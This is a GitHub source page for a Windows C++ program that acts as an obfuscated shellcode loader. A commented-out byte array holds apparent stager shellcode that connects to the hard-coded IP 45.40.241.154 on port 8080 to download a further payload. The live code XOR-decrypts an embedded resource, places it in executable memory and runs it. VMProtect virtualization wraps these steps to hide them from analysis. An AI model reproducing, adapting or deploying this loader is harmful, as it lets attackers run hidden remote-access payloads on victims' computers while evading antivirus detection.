-
Notifications
You must be signed in to change notification settings - Fork 25
/
Copy pathConsoleApplication1.cpp
121 lines (115 loc) · 8.11 KB
/
ConsoleApplication1.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
// ConsoleApplication1.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include "pch.h"
#include <iostream>
#include <Windows.h>
#include <fstream>
#include <future>
#include <thread>
#include "resource.h"
using namespace std;
/*
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\x31\xdb\x53\x53\x53\x53\x53\x68\x3a\x56"
"\x79\xa7\xff\xd5\x53\x53\x6a\x03\x53\x53\x68\x90\x1f\x00\x00"
"\xe8\xff\x00\x00\x00\x2f\x6f\x76\x79\x79\x38\x74\x36\x62\x4a"
"\x56\x50\x4f\x42\x63\x38\x45\x6c\x57\x39\x53\x76\x51\x73\x6f"
"\x37\x34\x6d\x41\x45\x30\x54\x75\x55\x4c\x7a\x34\x79\x59\x70"
"\x76\x51\x39\x79\x2d\x4c\x61\x44\x44\x67\x4b\x4b\x45\x68\x70"
"\x49\x54\x65\x44\x70\x7a\x73\x58\x6e\x46\x5f\x6e\x7a\x47\x45"
"\x56\x47\x76\x37\x57\x68\x31\x71\x4f\x37\x70\x38\x56\x79\x6e"
"\x56\x56\x31\x46\x72\x6c\x5a\x62\x76\x6e\x44\x72\x46\x78\x66"
"\x51\x72\x6a\x71\x31\x65\x76\x46\x6e\x53\x4b\x6e\x7a\x58\x34"
"\x61\x4d\x72\x39\x45\x33\x70\x6d\x55\x74\x68\x69\x66\x4c\x43"
"\x4b\x00\x50\x68\x57\x89\x9f\xc6\xff\xd5\x89\xc6\x53\x68\x00"
"\x02\x60\x84\x53\x53\x53\x57\x53\x56\x68\xeb\x55\x2e\x3b\xff"
"\xd5\x96\x6a\x0a\x5f\x53\x53\x53\x53\x56\x68\x2d\x06\x18\x7b"
"\xff\xd5\x85\xc0\x75\x14\x68\x88\x13\x00\x00\x68\x44\xf0\x35"
"\xe0\xff\xd5\x4f\x75\xe1\xe8\x4a\x00\x00\x00\x6a\x40\x68\x00"
"\x10\x00\x00\x68\x00\x00\x40\x00\x53\x68\x58\xa4\x53\xe5\xff"
"\xd5\x93\x53\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68"
"\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xcf\x8b\x07\x01\xc3\x85"
"\xc0\x75\xe5\x58\xc3\x5f\xe8\x7f\xff\xff\xff\x34\x35\x2e\x34"
"\x30\x2e\x32\x34\x31\x2e\x31\x35\x34\x00\xbb\xf0\xb5\xa2\x56"
"\x6a\x00\x53\xff\xd5";
*/
#include "VMProtectSDK.h"
int main()
{
shared_ptr<char> pData;
auto RealFx = [&]()->int {
VMProtectBeginVirtualization("RealFX");
HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(IDR_PE1), TEXT("pe"));
if (NULL == hRsrc)
return FALSE;
//获取资源的大小
auto dwSize = SizeofResource(NULL, hRsrc);
if (0 == dwSize)
return FALSE;
//加载资源
auto hGlobal = LoadResource(NULL, hRsrc);
if (NULL == hGlobal)
return FALSE;
//锁定资源
LPVOID pBuffer = LockResource(hGlobal);
if (NULL == pBuffer)
return FALSE;
//我们用刚才得到的pBuffer和dwSize来做一些需要的事情。可以直接在内存中使
//用,也可以写入到硬盘文件。这里我们简单的写入到硬盘文件,如果我们的自定
//义资源是作为嵌入DLL来应用,情况可能要复杂一些。
// BOOL bRt = FALSE;
pData.reset(new char[dwSize]);
memcpy(&*pData, pBuffer, dwSize);
/*
FILE* fp = _tfopen(_T("demo.exe"), _T("wb"));
if (fp != NULL)
{
if (dwSize == fwrite(pBuffer, sizeof(char), dwSize, fp))
bRt = TRUE;
fclose(fp);
}
*/
//char m_path[MAX_PATH];
//GetTempPathA(MAX_PATH, m_path);
string sKey = "Intelligent Inc.";
for (auto dsi = 0ULL; dsi < dwSize; dsi++)
{
(&*pData)[dsi] = sKey[dsi % 9] ^ (&*pData)[dsi];
}
VMProtectEnd();
return 0;
};
auto wWGet = async(RealFx);
//cout << m_path << endl;
wWGet.get();
auto NsFx = [&]()
{
VMProtectBeginVirtualization("NSFX");
LPVOID Memory = VirtualAlloc(NULL, (471ULL), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, &*pData, 471ULL);
((void(*)())Memory)();
VMProtectEnd();
};
auto stAsync = async(NsFx);
stAsync.get();
return 0;
}
// 运行程序: Ctrl + F5 或调试 >“开始执行(不调试)”菜单
// 调试程序: F5 或调试 >“开始调试”菜单
// 入门提示:
// 1. 使用解决方案资源管理器窗口添加/管理文件
// 2. 使用团队资源管理器窗口连接到源代码管理
// 3. 使用输出窗口查看生成输出和其他消息
// 4. 使用错误列表窗口查看错误
// 5. 转到“项目”>“添加新项”以创建新的代码文件,或转到“项目”>“添加现有项”以将现有代码文件添加到项目
// 6. 将来,若要再次打开此项目,请转到“文件”>“打开”>“项目”并选择 .sln 文件